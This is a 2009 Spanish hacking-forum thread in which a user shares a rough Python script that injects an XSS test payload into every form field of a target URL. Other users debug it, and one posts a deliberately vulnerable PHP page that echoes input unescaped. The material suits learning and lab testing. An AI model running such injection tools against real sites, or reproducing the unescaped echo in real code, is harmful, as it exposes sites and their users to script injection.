elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [python] Herramienta (bastante precaria) para XSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [python] Herramienta (bastante precaria) para XSS  (Leído 7,066 veces)
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
[python] Herramienta (bastante precaria) para XSS
« en: 7 Diciembre 2009, 17:27 pm »

Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando.
Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable.
Código
  1. #!/usr/bin/python
  2. import urllib2,urllib,sys,string
  3. from HTMLParser import HTMLParser
  4. class parsearhtml(HTMLParser):
  5.   formactual = -1
  6.   atributosform = []
  7.   atributosinput = []
  8.   def handle_starttag(self, tag, attrs):
  9.     atributosform = {}
  10.     atributosinput = {}
  11.     if tag=="form":
  12.       for i in range(len(attrs)):
  13.         atributosform[attrs[i][0]] = attrs[i][1]
  14.       self.atributosform.append(atributosform)
  15.       self.atributosinput.append([])
  16.       self.formactual+=1
  17.     if tag=="input":
  18.       for i in range(len(attrs)):
  19.         atributosinput[attrs[i][0]] = attrs[i][1]
  20.       self.atributosinput[self.formactual].append(atributosinput)
  21. def obtenerhost(url): #Funcion que obtiene el host
  22.  if url[0:7]=='http://':
  23.    return url[0:url[7:].find('/')+7]
  24.  if url[0:8]=='https://':
  25.    return url[0:url[8:].find('/')+8]
  26.  return url
  27. def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
  28.  i = len(url)-1
  29.  while i!=0:
  30.    if url[i]=='/': return url[:i+1]
  31.    i-=1
  32.  return url
  33. def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
  34.  global host,carpeta
  35.  if action.find('http://')!=-1 or action.find('https://')!=-1:
  36.    return action
  37.  if action[0]=='/':
  38.    return host+action
  39.  else :
  40.    return carpeta+action
  41. url = sys.argv[1]
  42. host = obtenerhost(url)
  43. carpeta =  obtenercarpeta(url)
  44. #Variables de localizacion
  45. useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
  46. cabeceras = { "User-Agent" : useragent }
  47. code = urllib2.urlopen(url).read()
  48. print "Codigo de la pagina obtenido ..."
  49. try :
  50. parser = parsearhtml()
  51. parser.feed(code) # Ha recogido todos los forms y los inputs
  52. except :
  53. print "Hubo un error parseando el HTML"
  54. #Ya tengo todos los datos necesarios
  55. print "Datos obtenidos ..."
  56. payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
  57. atributosform = parser.atributosform
  58. atributosinput = parser.atributosinput
  59. if len(atributosform)==0: print "No se encontraron forms"
  60. for indice in range(len(atributosform)):
  61.  #Se obtiene la direccion a la que mandar los datos
  62.  print "Obteniendo direccion a la que mandar los datos... "
  63.  if atributosform[indice].has_key('action'):
  64.    urlamandar = obtenerruta(atributosform[indice]['action'])
  65.  else:
  66.    urlamandar = url
  67.  #Se empiezan a rellenar las variables con los payloads correspondientes...
  68.  maliciousdata = {}
  69.  print "Rellenando con los payloads las variables ..."
  70.  for varinput in atributosinput[indice]:
  71.    if varinput.has_key('name'):
  72.      maliciousdata[varinput['name']] = payloads[1]
  73.  maliciousdata = urllib.urlencode(maliciousdata)
  74.  req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
  75.  codeinfectado = urllib2.urlopen(req).read()
  76.  print "Escribiendo el archivo ",str(indice)+".html"
  77.  resultado = open(str(indice)+'.html','w')
  78.  resultado.write(codeinfectado)
  79.  
 
Le podéis modificar facilmente el user-agent y el payload.
Uso :
Código:
python xss.py http://localhost/xss.php
« Última modificación: 7 Diciembre 2009, 21:20 pm por braulio23 » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #1 en: 7 Diciembre 2009, 19:37 pm »

Lo agregué a la lista de los demás proyectos en el post recopilatorio  ;)
En línea

tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #2 en: 7 Diciembre 2009, 21:03 pm »

Código:
python xss.py http://localhost/index.php  
File "xss.py", line 23
    return url[0:url[7:].find('/') 7]
                                   ^
SyntaxError: invalid syntax

algo anda mal o soy yo? :S
En línea

Colaboraciones:
1 2
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #3 en: 7 Diciembre 2009, 21:21 pm »

Código:
python xss.py http://localhost/index.php  
File "xss.py", line 23
    return url[0:url[7:].find('/') 7]
                                   ^
SyntaxError: invalid syntax

algo anda mal o soy yo? :S
Ya lo he modificado y debería funcionar, misteriosamente  no se copiaron algunos símbolos.:¬¬
En línea

tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #4 en: 7 Diciembre 2009, 22:21 pm »

ei braulio23!

no se si es a mi solo, pero la resolución de nombres no funciona del todo bien:
-no funciona con "localhost" hay que poner "127.0.0.1".


Por otra parte... la página que te guarda 0.html, que se supone que es? el formulario guardado o el supuesto resultado de la inyeccion del payload?

Esque al abrirlo es tal cual el codigo en "html" de la web que introduje, pero claro... al tratarse de un .php solo obtiene ese código ( el html ), no se, algo falla braulio! jajaja :P
« Última modificación: 7 Diciembre 2009, 22:30 pm por tragantras » En línea

Colaboraciones:
1 2
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #5 en: 7 Diciembre 2009, 23:01 pm »

A mi la resolución de nombres si me funciona.
El resultado 0.html es lo que devolvió la web cuando se mandaron las variables con los payloads.
En línea

tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #6 en: 7 Diciembre 2009, 23:30 pm »

y no debería devolver el alert que le metes en el payload ( por ejemplo ) por defecto?

es que me devuelve el formulario tal cual...


Un saludo!
En línea

Colaboraciones:
1 2
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #7 en: 7 Diciembre 2009, 23:38 pm »

Pero hiciste que ese formulario fuera vulnerable?
En línea

tragantras


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #8 en: 8 Diciembre 2009, 00:32 am »

claro, si lo es, por si acaso te adjunto el codigo, pero que si, k si lo es xD
 un saludo!


pD: lo k se escribe en el 0.html es el codigo en html del index.php


Código:

<?php
if(isset($_GET["var"])){
echo "has escrito: ".$_GET["var"];
}
?>
<HTML>
<HEAD>
<TITLE>Vulnerabilidad XSS</TITLE>
</HEAD>
 
<BODY>
<h1> FORMULARIO DE ENVIO DEL XSS </h1>
<BR>

<FORM METHOD="get" ACTION="index.php">
<INPUT TYPE="text" NAME="var">
<INPUT TYPE="submit" VALUE="enviar">

</FORM>
</BODY>
</HTML>

En línea

Colaboraciones:
1 2
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [python] Herramienta (bastante precaria) para XSS
« Respuesta #9 en: 8 Diciembre 2009, 11:32 am »

Vale, no funciona por el método GET.
Cuando tenga tiempo lo implanto.
Gracias por probarlo y lamento que no funcione.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Requisitos de Far Cry 5 para PC, son bastante contenidos
Noticias
wolfbcn 0 1,249 Último mensaje 24 Enero 2018, 02:09 am
por wolfbcn
Guasap Forensic, una herramienta desarrollada en Python para realizar análisis f
Noticias
r32 0 1,047 Último mensaje 9 Julio 2018, 19:55 pm
por r32
¿Me ayudarian a crear mi herramienta en Python? (Request)
Scripting
aprendiendohacking2020 0 2,042 Último mensaje 25 Octubre 2019, 20:15 pm
por aprendiendohacking2020
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines